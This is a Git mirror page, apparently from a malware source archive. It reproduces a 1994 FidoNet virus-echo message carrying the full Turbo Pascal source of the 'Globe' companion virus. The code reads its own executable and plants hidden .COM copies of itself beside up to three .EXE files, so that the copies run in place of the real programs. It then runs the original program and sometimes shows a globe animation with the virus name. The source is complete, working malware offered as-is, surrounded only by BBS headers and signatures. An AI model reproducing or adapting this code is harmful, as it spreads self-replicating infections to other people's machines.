mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 20:35:25 +00:00
139 lines
3.3 KiB
ObjectPascal
139 lines
3.3 KiB
ObjectPascal
|
{;<EFBFBD> PVT.VIRII (2:465/65.4) <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> PVT.VIRII <EFBFBD>
|
|||
|
; Msg : 1 of 59
|
|||
|
; From : MeteO 2:5030/136 Tue 09 Nov 93 09:09
|
|||
|
; To : - *.* - Fri 11 Nov 94 08:10
|
|||
|
; Subj : GLOBE.C
|
|||
|
;<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;.RealName: Max Ivanov
|
|||
|
;<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;* Kicked-up by MeteO (2:5030/136)
|
|||
|
;* Area : VIRUS (Int: <EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <EFBFBD> <EFBFBD><EFBFBD>p<EFBFBD><EFBFBD><EFBFBD><EFBFBD>)
|
|||
|
;* From : Doug Bryce, 2:283/718 (06 Nov 94 16:07)
|
|||
|
;* To : Viral Doctor
|
|||
|
;* Subj : GLOBE.C
|
|||
|
;<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;@RFC-Path:
|
|||
|
;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7
|
|||
|
;18.n283!not-for-mail
|
|||
|
;@RFC-Return-Receipt-To: Doug.Bryce@f718.n283.z2.fidonet.org}
|
|||
|
Program Worm;
|
|||
|
|
|||
|
{$M 2048,0,4096}
|
|||
|
|
|||
|
Uses Dos, Crt;
|
|||
|
|
|||
|
Var F1 : File;
|
|||
|
F2 : File;
|
|||
|
O : String;
|
|||
|
Parm : String;
|
|||
|
P : DirStr;
|
|||
|
N : NameStr;
|
|||
|
E : ExtStr;
|
|||
|
Buf : Array[0..8000] of Byte;
|
|||
|
NumRead : Word;
|
|||
|
NumWritten : Word;
|
|||
|
DirInfo : SearchRec;
|
|||
|
ComExist : SearchRec;
|
|||
|
Infect : Byte;
|
|||
|
|
|||
|
Procedure StartOrigExe;
|
|||
|
Begin
|
|||
|
O := ParamStr(0);
|
|||
|
FSplit(O,P,N,E);
|
|||
|
O := P+N+'.EXE';
|
|||
|
P := '';
|
|||
|
For NumRead := 1 To ParamCount Do
|
|||
|
P := P + ParamStr(NumRead);
|
|||
|
SwapVectors;
|
|||
|
Exec(O,P);
|
|||
|
SwapVectors;
|
|||
|
End;
|
|||
|
|
|||
|
Procedure InfectExe;
|
|||
|
Begin
|
|||
|
FindFirst('*.EXE',Archive,DirInfo);
|
|||
|
While (DosError = 0) And (Infect <> 0) Do
|
|||
|
Begin
|
|||
|
FSplit(DirInfo.Name,P,N,E);
|
|||
|
O := P+N+'.COM';
|
|||
|
FindFirst(O,Hidden,ComExist);
|
|||
|
If DosError <> 0 Then
|
|||
|
Begin
|
|||
|
Assign(F1,O);
|
|||
|
Rewrite(F1,1);
|
|||
|
BlockWrite(F1,buf,NumRead,NumWritten);
|
|||
|
Close(F1);
|
|||
|
SetFattr(F1,Hidden);
|
|||
|
Dec(Infect);
|
|||
|
End;
|
|||
|
FindNext(DirInfo);
|
|||
|
End;
|
|||
|
End;
|
|||
|
|
|||
|
Procedure Activate;
|
|||
|
Var
|
|||
|
T1,T2 : Integer;
|
|||
|
I : Real;
|
|||
|
X , Y : Byte;
|
|||
|
Resolution : Integer;
|
|||
|
|
|||
|
Begin
|
|||
|
ClrScr;
|
|||
|
I := 0;
|
|||
|
T2 := 38;
|
|||
|
Randomize;
|
|||
|
Repeat
|
|||
|
Resolution := 50;
|
|||
|
For T1 := 0 to Resolution Do
|
|||
|
Begin
|
|||
|
X := Abs(40+Round(Sin(I)*T2));
|
|||
|
Y := Abs(12-Round(Cos(I)*10));
|
|||
|
GotoXY(X,Y);
|
|||
|
Write('<27>');
|
|||
|
I := I + ((Pi*2)/Resolution);
|
|||
|
End;
|
|||
|
T2 := T2 - 1;
|
|||
|
TextColor(Random(14)+1);
|
|||
|
Until T2 < 2;
|
|||
|
GotoXY(30,12);
|
|||
|
TextColor(White);
|
|||
|
Write('* The Globe Virus *');
|
|||
|
Asm
|
|||
|
Mov Ah,8
|
|||
|
Int 21h
|
|||
|
End;
|
|||
|
ClrScr;
|
|||
|
End;
|
|||
|
|
|||
|
Begin
|
|||
|
Infect := 3;
|
|||
|
Randomize;
|
|||
|
Assign(F2,ParamStr(0));
|
|||
|
Reset(F2,1);
|
|||
|
BlockRead(F2,buf,SizeOf(buf),NumRead);
|
|||
|
Close(F2);
|
|||
|
InfectExe;
|
|||
|
StartOrigExe;
|
|||
|
If Random(16) = 0 then Activate;
|
|||
|
Halt(DosExitCode);
|
|||
|
End.
|
|||
|
|
|||
|
; <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> and Remember Don't Forget to Call <<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;-+- GoldED 2.50.B1016+
|
|||
|
; + Origin: Miami Beach BBS - Nijmegen Nl - 080-732083 - ZyX 19K2 (2:283/718)
|
|||
|
;=============================================================================
|
|||
|
;
|
|||
|
;Yoo-hooo-oo, -!
|
|||
|
;
|
|||
|
;
|
|||
|
; <EFBFBD> The Me<EFBFBD>eO
|
|||
|
;
|
|||
|
;/v Include full symbolic debug information
|
|||
|
;
|
|||
|
;--- Aidstest Null: /Kill
|
|||
|
; * Origin: <EFBFBD>PVT.ViRII<EFBFBD>main<EFBFBD>board<EFBFBD> / Virus Research labs. (2:5030/136)
|
|||
|
|